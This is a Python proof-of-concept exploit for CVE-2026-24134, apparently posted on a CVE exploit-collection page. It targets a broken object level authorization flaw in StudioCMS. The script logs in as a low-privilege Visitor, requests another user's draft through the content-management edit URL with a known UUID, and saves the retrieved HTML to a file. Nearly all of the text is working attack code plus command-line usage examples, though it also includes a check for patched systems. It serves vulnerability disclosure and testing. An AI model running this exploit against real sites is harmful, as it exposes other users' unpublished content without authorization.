4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2026_24134_poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-24134 - Proof of Concept
Broken Object Level Authorization in StudioCMS

Author: Filipe Gaudard
CVE: CVE-2026-24134
Severity: Moderate (CVSS 6.5)

Description:
This PoC demonstrates unauthorized access to draft content in StudioCMS
by exploiting missing authorization checks in the content management endpoint.

A user with "Visitor" role can access draft content created by Editor/Admin/Owner
users by directly accessing the edit URL with a known content UUID.

Disclaimer:
This tool is for educational and authorized security testing purposes only.
Unauthorized access to computer systems is illegal.
"""

import requests
import argparse
import sys
import json
from typing import Optional, Dict, Any
from urllib.parse import urljoin
import re
from colorama import Fore, Style, init

# Initialize colorama for colored output
init(autoreset=True)

class StudioCMSBOLA:
    def __init__(self, base_url: str, verify_ssl: bool = True):
        """
        Initialize the exploit class.
        
        Args:
            base_url: Target StudioCMS base URL (e.g., http://localhost:4321)
            verify_ssl: Whether to verify SSL certificates
        """
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.auth_token = None
        
    def print_success(self, message: str):
        """Print success message in green"""
        print(f"{Fore.GREEN}[+] {message}{Style.RESET_ALL}")
        
    def print_error(self, message: str):
        """Print error message in red"""
        print(f"{Fore.RED}[-] {message}{Style.RESET_ALL}")
        
    def print_info(self, message: str):
        """Print info message in blue"""
        print(f"{Fore.BLUE}[*] {message}{Style.RESET_ALL}")
        
    def print_warning(self, message: str):
        """Print warning message in yellow"""
        print(f"{Fore.YELLOW}[!] {message}{Style.RESET_ALL}")
    
    def login(self, username: str, password: str) -> bool:
        """
        Authenticate as a user and obtain session token.
        
        Args:
            username: Username for authentication
            password: Password for authentication
            
        Returns:
            True if authentication successful, False otherwise
        """
        login_url = urljoin(self.base_url, '/studiocms_api/auth/login')
        
        self.print_info(f"Attempting login as user: {username}")
        
        try:
            response = self.session.post(
                login_url,
                data={
                    'username': username,
                    'password': password
                }
            )
            
            if response.status_code == 200:
                # Check if auth_session cookie was set
                if 'auth_session' in self.session.cookies:
                    self.auth_token = self.session.cookies['auth_session']
                    self.print_success(f"Successfully authenticated as {username}")
                    self.print_info(f"Session token: {self.auth_token[:20]}...")
                    return True
                else:
                    self.print_error("Login response successful but no session cookie received")
                    return False
            else:
                self.print_error(f"Login failed with status code: {response.status_code}")
                return False
                
        except requests.RequestException as e:
            self.print_error(f"Login request failed: {str(e)}")
            return False
    
    def verify_role(self) -> Optional[str]:
        """
        Verify current user's role by accessing the dashboard.
        
        Returns:
            User role as string, or None if verification failed
        """
        dashboard_url = urljoin(self.base_url, '/dashboard')
        
        try:
            response = self.session.get(dashboard_url)
            
            if response.status_code == 200:
                # Try to extract role from response (implementation-specific)
                # This is a simplified example
                if 'Visitor' in response.text or 'visitor' in response.text.lower():
                    role = 'Visitor'
                elif 'Editor' in response.text or 'editor' in response.text.lower():
                    role = 'Editor'
                elif 'Admin' in response.text or 'admin' in response.text.lower():
                    role = 'Admin'
                else:
                    role = 'Unknown'
                
                self.print_info(f"Detected user role: {role}")
                return role
            else:
                self.print_warning(f"Could not verify role (status: {response.status_code})")
                return None
                
        except requests.RequestException as e:
            self.print_error(f"Role verification failed: {str(e)}")
            return None
    
    def exploit_bola(self, content_uuid: str, save_output: bool = False) -> Dict[str, Any]:
        """
        Exploit BOLA vulnerability to access draft content.
        
        Args:
            content_uuid: UUID of the target draft content
            save_output: Whether to save the response to a file
            
        Returns:
            Dictionary with exploitation results
        """
        if not self.auth_token:
            self.print_error("Not authenticated. Please login first.")
            return {"success": False, "error": "Not authenticated"}
        
        exploit_url = urljoin(
            self.base_url, 
            f'/dashboard/content-management/edit?edit={content_uuid}'
        )
        
        self.print_info(f"Attempting to access draft: {content_uuid}")
        self.print_info(f"Target URL: {exploit_url}")
        
        try:
            response = self.session.get(exploit_url)
            
            result = {
                "success": False,
                "status_code": response.status_code,
                "content_length": len(response.text),
                "uuid": content_uuid
            }
            
            if response.status_code == 200:
                self.print_success("Successfully accessed draft content!")
                self.print_info(f"Response size: {len(response.text)} bytes")
                
                # Try to extract some information from response
                result["success"] = True
                result["content_preview"] = response.text[:500]
                
                # Extract title if present
                title_match = re.search(r'<title>(.*?)</title>', response.text, re.IGNORECASE)
                if title_match:
                    result["title"] = title_match.group(1)
                    self.print_info(f"Draft title: {title_match.group(1)}")
                
                # Save full response if requested
                if save_output:
                    filename = f"draft_{content_uuid}.html"
                    with open(filename, 'w', encoding='utf-8') as f:
                        f.write(response.text)
                    self.print_success(f"Full content saved to: {filename}")
                    result["saved_file"] = filename
                
                self.print_success("\n=== EXPLOITATION SUCCESSFUL ===")
                self.print_warning("Visitor role user accessed Editor+ draft content")
                self.print_warning("This confirms CVE-2026-24134 BOLA vulnerability")
                
            elif response.status_code == 403:
                self.print_info("Access denied (403 Forbidden)")
                self.print_success("This suggests the vulnerability has been patched!")
                result["patched"] = True
                
            elif response.status_code == 404:
                self.print_info("Content not found (404)")
                self.print_warning("Either UUID is invalid or authorization check returned 404")
                result["not_found"] = True
                
            elif response.status_code == 401:
                self.print_error("Authentication required (401)")
                self.print_warning("Session may have expired")
                result["auth_required"] = True
                
            else:
                self.print_warning(f"Unexpected response: {response.status_code}")
                result["unexpected"] = True
            
            return result
            
        except requests.RequestException as e:
            self.print_error(f"Exploitation request failed: {str(e)}")
            return {"success": False, "error": str(e)}
    
    def automated_test(self, visitor_creds: Dict[str, str], 
                       editor_creds: Dict[str, str],
                       test_uuid: str) -> Dict[str, Any]:
        """
        Perform automated vulnerability testing.
        
        This creates a complete test scenario:
        1. Login as Editor and verify role
        2. Login as Visitor and verify role  
        3. Attempt to access Editor's draft as Visitor
        
        Args:
            visitor_creds: Dict with 'username' and 'password' for Visitor
            editor_creds: Dict with 'username' and 'password' for Editor
            test_uuid: UUID of draft created by Editor
            
        Returns:
            Dictionary with complete test results
        """
        results = {
            "vulnerable": False,
            "tests": []
        }
        
        print("\n" + "="*60)
        print("AUTOMATED CVE-2026-24134 VULNERABILITY TEST")
        print("="*60 + "\n")
        
        # Test 1: Verify Editor can access their own draft
        self.print_info("TEST 1: Editor accessing own draft (baseline)")
        if self.login(editor_creds['username'], editor_creds['password']):
            editor_role = self.verify_role()
            editor_result = self.exploit_bola(test_uuid)
            
            results["tests"].append({
                "test": "Editor access to own draft",
                "role": editor_role,
                "success": editor_result["success"],
                "expected": True
            })
            
            if editor_result["success"]:
                self.print_success("Baseline confirmed: Editor can access own draft")
            else:
                self.print_error("Baseline failed: Editor cannot access own draft")
                return results
        else:
            self.print_error("Editor authentication failed")
            return results
        
        print("\n" + "-"*60 + "\n")
        
        # Test 2: Attempt to access draft as Visitor (BOLA test)
        self.print_info("TEST 2: Visitor accessing Editor's draft (BOLA)")
        if self.login(visitor_creds['username'], visitor_creds['password']):
            visitor_role = self.verify_role()
            visitor_result = self.exploit_bola(test_uuid, save_output=True)
            
            results["tests"].append({
                "test": "Visitor access to Editor draft",
                "role": visitor_role,
                "success": visitor_result["success"],
                "expected": False
            })
            
            if visitor_result["success"]:
                self.print_error("\nVULNERABILITY CONFIRMED!")
                self.print_error("Visitor role accessed Editor draft content")
                self.print_error("System is vulnerable to CVE-2026-24134")
                results["vulnerable"] = True
            else:
                self.print_success("\nVULNERABILITY NOT PRESENT")
                self.print_success("Visitor role properly denied access")
                self.print_success("System appears to be patched")
                results["vulnerable"] = False
        else:
            self.print_error("Visitor authentication failed")
            return results
        
        print("\n" + "="*60)
        print("TEST SUMMARY")
        print("="*60)
        print(f"Total tests: {len(results['tests'])}")
        print(f"Vulnerability status: {'VULNERABLE' if results['vulnerable'] else 'PATCHED'}")
        print("="*60 + "\n")
        
        return results


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-24134 BOLA Vulnerability PoC for StudioCMS',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Manual exploitation
  python3 cve_2026_24134_poc.py -u http://localhost:4321 --username visitor_user --password visitor_pass --uuid bad87630-69a4-4cd6-bcb2-6965839dc148
  
  # Automated testing
  python3 cve_2026_24134_poc.py -u http://localhost:4321 --auto-test --visitor-user visitor01 --visitor-pass pass01 --editor-user editor01 --editor-pass pass01 --uuid bad87630-69a4-4cd6-bcb2-6965839dc148
  
  # Save output to file
  python3 cve_2026_24134_poc.py -u http://localhost:4321 --username visitor_user --password visitor_pass --uuid bad87630-69a4-4cd6-bcb2-6965839dc148 --save
        """
    )
    
    parser.add_argument('-u', '--url', required=True,
                       help='Target StudioCMS base URL (e.g., http://localhost:4321)')
    
    parser.add_argument('--username',
                       help='Username for authentication (for manual mode)')
    
    parser.add_argument('--password',
                       help='Password for authentication (for manual mode)')
    
    parser.add_argument('--uuid', required=True,
                       help='Target draft content UUID')
    
    parser.add_argument('--save', action='store_true',
                       help='Save response content to file')
    
    parser.add_argument('--no-ssl-verify', action='store_true',
                       help='Disable SSL certificate verification')
    
    # Automated testing options
    parser.add_argument('--auto-test', action='store_true',
                       help='Run automated vulnerability test')
    
    parser.add_argument('--visitor-user',
                       help='Visitor username for automated test')
    
    parser.add_argument('--visitor-pass',
                       help='Visitor password for automated test')
    
    parser.add_argument('--editor-user',
                       help='Editor username for automated test')
    
    parser.add_argument('--editor-pass',
                       help='Editor password for automated test')
    
    args = parser.parse_args()
    
    # Disable SSL warnings if --no-ssl-verify is used
    if args.no_ssl_verify:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Initialize exploit class
    exploit = StudioCMSBOLA(args.url, verify_ssl=not args.no_ssl_verify)
    
    # Automated testing mode
    if args.auto_test:
        if not all([args.visitor_user, args.visitor_pass, args.editor_user, args.editor_pass]):
            print(f"{Fore.RED}Error: Automated test requires --visitor-user, --visitor-pass, --editor-user, and --editor-pass{Style.RESET_ALL}")
            sys.exit(1)
        
        results = exploit.automated_test(
            visitor_creds={'username': args.visitor_user, 'password': args.visitor_pass},
            editor_creds={'username': args.editor_user, 'password': args.editor_pass},
            test_uuid=args.uuid
        )
        
        # Exit with appropriate code
        sys.exit(0 if not results["vulnerable"] else 1)
    
    # Manual exploitation mode
    else:
        if not args.username or not args.password:
            print(f"{Fore.RED}Error: Manual mode requires --username and --password{Style.RESET_ALL}")
            sys.exit(1)
        
        # Step 1: Login
        if not exploit.login(args.username, args.password):
            sys.exit(1)
        
        # Step 2: Verify role
        exploit.verify_role()
        
        # Step 3: Exploit
        result = exploit.exploit_bola(args.uuid, save_output=args.save)
        
        # Exit with appropriate code
        sys.exit(0 if result["success"] else 1)


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
        sys.exit(1)
    except Exception as e:
        print(f"\n{Fore.RED}[!] Unexpected error: {str(e)}{Style.RESET_ALL}")
        sys.exit(1)